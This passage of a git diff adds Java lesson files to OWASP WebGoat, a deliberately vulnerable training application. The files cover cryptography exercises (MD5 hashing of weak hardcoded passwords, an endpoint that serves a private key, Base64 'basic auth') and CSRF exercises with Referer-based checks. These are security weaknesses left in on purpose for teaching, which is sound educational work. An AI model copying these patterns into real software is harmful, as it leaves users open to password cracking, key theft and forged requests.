"-----END PRIVATE KEY-----\n"; + return encodedString; + } + + public static String signMessage(String message, PrivateKey privateKey) { + + log.debug("start signMessage"); + String signature = null; + + try { + // Initiate signature verification + Signature instance = Signature.getInstance("SHA256withRSA"); + instance.initSign(privateKey); + instance.update(message.getBytes("UTF-8")); + + // actual verification against signature + signature = new String(Base64.getEncoder().encode(instance.sign()), Charset.forName("UTF-8")); + + log.info("signe the signature with result: {}", signature); + } catch (Exception e) { + log.error("Signature signing failed", e); + } + + log.debug("end signMessage"); + return signature; + } + + public static boolean verifyMessage( + String message, String base64EncSignature, PublicKey publicKey) { + + log.debug("start verifyMessage"); + boolean result = false; + + try { + + base64EncSignature = base64EncSignature.replace("\r", "").replace("\n", "").replace(" ", ""); + // get raw signature from base64 encrypted string in header + byte[] decodedSignature = Base64.getDecoder().decode(base64EncSignature); + + // Initiate signature verification + Signature instance = Signature.getInstance("SHA256withRSA"); + instance.initVerify(publicKey); + instance.update(message.getBytes("UTF-8")); + + // actual verification against signature + result = instance.verify(decodedSignature); + + log.info("Verified the signature with result: {}", result); + } catch (Exception e) { + log.error("Signature verification failed", e); + } + + log.debug("end verifyMessage"); + return result; + } + + public static boolean verifyAssignment(String modulus, String signature, PublicKey publicKey) { + + /* first check if the signature is correct, i.e. right private key and right hash */ + boolean result = false; + + if (modulus != null && signature != null) { + result = verifyMessage(modulus, signature, publicKey); + + /* + * next check if the submitted modulus is the correct modulus of the public key + */ + RSAPublicKey rsaPubKey = (RSAPublicKey) publicKey; + if (modulus.length() == 512) { + modulus = "00".concat(modulus); + } + result = + result + && (DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray()) + .equals(modulus.toUpperCase())); + } + return result; + } + + public static PrivateKey getPrivateKeyFromPEM(String privateKeyPem) + throws NoSuchAlgorithmException, InvalidKeySpecException { + privateKeyPem = privateKeyPem.replace("-----BEGIN PRIVATE KEY-----", ""); + privateKeyPem = privateKeyPem.replace("-----END PRIVATE KEY-----", ""); + privateKeyPem = privateKeyPem.replace("\n", "").replace("\r", ""); + + byte[] decoded = Base64.getDecoder().decode(privateKeyPem); + + PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(decoded); + KeyFactory kf = KeyFactory.getInstance("RSA"); + return kf.generatePrivate(spec); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java new file mode 100644 index 000000000..5e00a3f5e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class Cryptography extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A2; + } + + @Override + public String getTitle() { + return "6.crypto.title"; // first lesson in general + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java new file mode 100644 index 000000000..65c115c41 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.util.Base64; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class EncodingAssignment extends AssignmentEndpoint { + + public static String getBasicAuth(String username, String password) { + return Base64.getEncoder().encodeToString(username.concat(":").concat(password).getBytes()); + } + + @GetMapping(path = "/crypto/encoding/basic", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getBasicAuth(HttpServletRequest request) { + + String basicAuth = (String) request.getSession().getAttribute("basicAuth"); + String username = request.getUserPrincipal().getName(); + if (basicAuth == null) { + String password = + HashingAssignment.SECRETS[new Random().nextInt(HashingAssignment.SECRETS.length)]; + basicAuth = getBasicAuth(username, password); + request.getSession().setAttribute("basicAuth", basicAuth); + } + return "Authorization: Basic ".concat(basicAuth); + } + + @PostMapping("/crypto/encoding/basic-auth") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, + @RequestParam String answer_user, + @RequestParam String answer_pwd) { + String basicAuth = (String) request.getSession().getAttribute("basicAuth"); + if (basicAuth != null + && answer_user != null + && answer_pwd != null + && basicAuth.equals(getBasicAuth(answer_user, answer_pwd))) { + return success(this).feedback("crypto-encoding.success").build(); + } else { + return failed(this).feedback("crypto-encoding.empty").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java new file mode 100644 index 000000000..b83f931a8 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java @@ -0,0 +1,105 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import javax.xml.bind.DatatypeConverter; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"crypto-hashing.hints.1", "crypto-hashing.hints.2"}) +public class HashingAssignment extends AssignmentEndpoint { + + public static final String[] SECRETS = {"secret", "admin", "password", "123456", "passw0rd"}; + + @RequestMapping(path = "/crypto/hashing/md5", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getMd5(HttpServletRequest request) throws NoSuchAlgorithmException { + + String md5Hash = (String) request.getSession().getAttribute("md5Hash"); + if (md5Hash == null) { + + String secret = SECRETS[new Random().nextInt(SECRETS.length)]; + + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(secret.getBytes()); + byte[] digest = md.digest(); + md5Hash = DatatypeConverter.printHexBinary(digest).toUpperCase(); + request.getSession().setAttribute("md5Hash", md5Hash); + request.getSession().setAttribute("md5Secret", secret); + } + return md5Hash; + } + + @RequestMapping(path = "/crypto/hashing/sha256", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getSha256(HttpServletRequest request) throws NoSuchAlgorithmException { + + String sha256 = (String) request.getSession().getAttribute("sha256"); + if (sha256 == null) { + String secret = SECRETS[new Random().nextInt(SECRETS.length)]; + sha256 = getHash(secret, "SHA-256"); + request.getSession().setAttribute("sha256Hash", sha256); + request.getSession().setAttribute("sha256Secret", secret); + } + return sha256; + } + + @PostMapping("/crypto/hashing") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, + @RequestParam String answer_pwd1, + @RequestParam String answer_pwd2) { + + String md5Secret = (String) request.getSession().getAttribute("md5Secret"); + String sha256Secret = (String) request.getSession().getAttribute("sha256Secret"); + + if (answer_pwd1 != null && answer_pwd2 != null) { + if (answer_pwd1.equals(md5Secret) && answer_pwd2.equals(sha256Secret)) { + return success(this).feedback("crypto-hashing.success").build(); + } else if (answer_pwd1.equals(md5Secret) || answer_pwd2.equals(sha256Secret)) { + return failed(this).feedback("crypto-hashing.oneok").build(); + } + } + return failed(this).feedback("crypto-hashing.empty").build(); + } + + public static String getHash(String secret, String algorithm) throws NoSuchAlgorithmException { + MessageDigest md = MessageDigest.getInstance(algorithm); + md.update(secret.getBytes()); + byte[] digest = md.digest(); + return DatatypeConverter.printHexBinary(digest).toUpperCase(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java new file mode 100644 index 000000000..bb28f4202 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java @@ -0,0 +1,59 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.security.NoSuchAlgorithmException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "crypto-secure-defaults.hints.1", + "crypto-secure-defaults.hints.2", + "crypto-secure-defaults.hints.3" +}) +public class SecureDefaultsAssignment extends AssignmentEndpoint { + + @PostMapping("/crypto/secure/defaults") + @ResponseBody + public AttackResult completed( + @RequestParam String secretFileName, @RequestParam String secretText) + throws NoSuchAlgorithmException { + if (secretFileName != null && secretFileName.equals("default_secret")) { + if (secretText != null + && HashingAssignment.getHash(secretText, "SHA-256") + .equalsIgnoreCase( + "34de66e5caf2cb69ff2bebdc1f3091ecf6296852446c718e38ebfa60e4aa75d2")) { + return success(this).feedback("crypto-secure-defaults.success").build(); + } else { + return failed(this).feedback("crypto-secure-defaults.messagenotok").build(); + } + } + return failed(this).feedback("crypto-secure-defaults.notok").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java new file mode 100644 index 000000000..382ee3b16 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.security.InvalidAlgorithmParameterException; +import java.security.KeyPair; +import java.security.NoSuchAlgorithmException; +import java.security.interfaces.RSAPublicKey; +import javax.servlet.http.HttpServletRequest; +import javax.xml.bind.DatatypeConverter; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "crypto-signing.hints.1", + "crypto-signing.hints.2", + "crypto-signing.hints.3", + "crypto-signing.hints.4" +}) +@Slf4j +public class SigningAssignment extends AssignmentEndpoint { + + @RequestMapping(path = "/crypto/signing/getprivate", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getPrivateKey(HttpServletRequest request) + throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { + + String privateKey = (String) request.getSession().getAttribute("privateKeyString"); + if (privateKey == null) { + KeyPair keyPair = CryptoUtil.generateKeyPair(); + privateKey = CryptoUtil.getPrivateKeyInPEM(keyPair); + request.getSession().setAttribute("privateKeyString", privateKey); + request.getSession().setAttribute("keyPair", keyPair); + } + return privateKey; + } + + @PostMapping("/crypto/signing/verify") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, @RequestParam String modulus, @RequestParam String signature) { + + String tempModulus = + modulus; /* used to validate the modulus of the public key but might need to be corrected */ + KeyPair keyPair = (KeyPair) request.getSession().getAttribute("keyPair"); + RSAPublicKey rsaPubKey = (RSAPublicKey) keyPair.getPublic(); + if (tempModulus.length() == 512) { + tempModulus = "00".concat(tempModulus); + } + if (!DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray()) + .equals(tempModulus.toUpperCase())) { + log.warn("modulus {} incorrect", modulus); + return failed(this).feedback("crypto-signing.modulusnotok").build(); + } + /* orginal modulus must be used otherwise the signature would be invalid */ + if (CryptoUtil.verifyMessage(modulus, signature, keyPair.getPublic())) { + return success(this).feedback("crypto-signing.success").build(); + } else { + log.warn("signature incorrect"); + return failed(this).feedback("crypto-signing.notok").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java new file mode 100644 index 000000000..d7e3ed94d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"crypto-encoding-xor.hints.1"}) +public class XOREncodingAssignment extends AssignmentEndpoint { + + @PostMapping("/crypto/encoding/xor") + @ResponseBody + public AttackResult completed(@RequestParam String answer_pwd1) { + if (answer_pwd1 != null && answer_pwd1.equals("databasepassword")) { + return success(this).feedback("crypto-encoding-xor.success").build(); + } + return failed(this).feedback("crypto-encoding-xor.empty").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java new file mode 100644 index 000000000..73fa55bda --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** Created by jason on 9/29/17. */ +@Component +public class CSRF extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A10; + } + + @Override + public String getTitle() { + return "csrf.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java new file mode 100644 index 000000000..e4f52eb09 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java @@ -0,0 +1,56 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 9/29/17. */ +@RestController +@AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"}) +public class CSRFConfirmFlag1 extends AssignmentEndpoint { + + @Autowired UserSessionData userSessionData; + + @PostMapping( + path = "/csrf/confirm-flag-1", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(String confirmFlagVal) { + Object userSessionDataStr = userSessionData.getValue("csrf-get-success"); + if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) { + return success(this) + .feedback("csrf-get-null-referer.success") + .output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")) + .build(); + } + + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java new file mode 100644 index 000000000..a5387efd0 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java @@ -0,0 +1,121 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.io.IOException; +import java.util.Map; +import java.util.UUID; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 11/17/17. + */ +@RestController +@AssignmentHints({"csrf-feedback-hint1", "csrf-feedback-hint2", "csrf-feedback-hint3"}) +public class CSRFFeedback extends AssignmentEndpoint { + + @Autowired private UserSessionData userSessionData; + @Autowired private ObjectMapper objectMapper; + + @PostMapping( + value = "/csrf/feedback/message", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) { + try { + objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES); + objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES); + objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS); + objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY); + objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES); + objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS); + objectMapper.readValue(feedback.getBytes(), Map.class); + } catch (IOException e) { + return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build(); + } + boolean correctCSRF = + requestContainsWebGoatCookie(request.getCookies()) + && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE); + correctCSRF &= hostOrRefererDifferentHost(request); + if (correctCSRF) { + String flag = UUID.randomUUID().toString(); + userSessionData.setValue("csrf-feedback", flag); + return success(this).feedback("csrf-feedback-success").feedbackArgs(flag).build(); + } + return failed(this).build(); + } + + @PostMapping(path = "/csrf/feedback", produces = "application/json") + @ResponseBody + public AttackResult flag(@RequestParam("confirmFlagVal") String flag) { + if (flag.equals(userSessionData.getValue("csrf-feedback"))) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + private boolean hostOrRefererDifferentHost(HttpServletRequest request) { + String referer = request.getHeader("Referer"); + String host = request.getHeader("Host"); + if (referer != null) { + return !referer.contains(host); + } else { + return true; + } + } + + private boolean requestContainsWebGoatCookie(Cookie[] cookies) { + if (cookies != null) { + for (Cookie c : cookies) { + if (c.getName().equals("JSESSIONID")) { + return true; + } + } + } + return false; + } + + /** + * Solution

+ */ +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java new file mode 100644 index 000000000..e2cbc90c7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import java.util.HashMap; +import java.util.Map; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 9/30/17. */ +@RestController +public class CSRFGetFlag { + + @Autowired UserSessionData userSessionData; + @Autowired private PluginMessages pluginMessages; + + @RequestMapping( + path = "/csrf/basic-get-flag", + produces = {"application/json"}, + method = RequestMethod.POST) + @ResponseBody + public Map invoke(HttpServletRequest req) { + + Map response = new HashMap<>(); + + String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); + String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); + String[] refererArr = referer.split("/"); + + if (referer.equals("NULL")) { + if ("true".equals(req.getParameter("csrf"))) { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + } else if (refererArr[2].equals(host)) { + response.put("success", false); + response.put("message", "Appears the request came from the original host"); + response.put("flag", null); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + + return response; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java new file mode 100644 index 000000000..08d226245 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java @@ -0,0 +1,68 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import 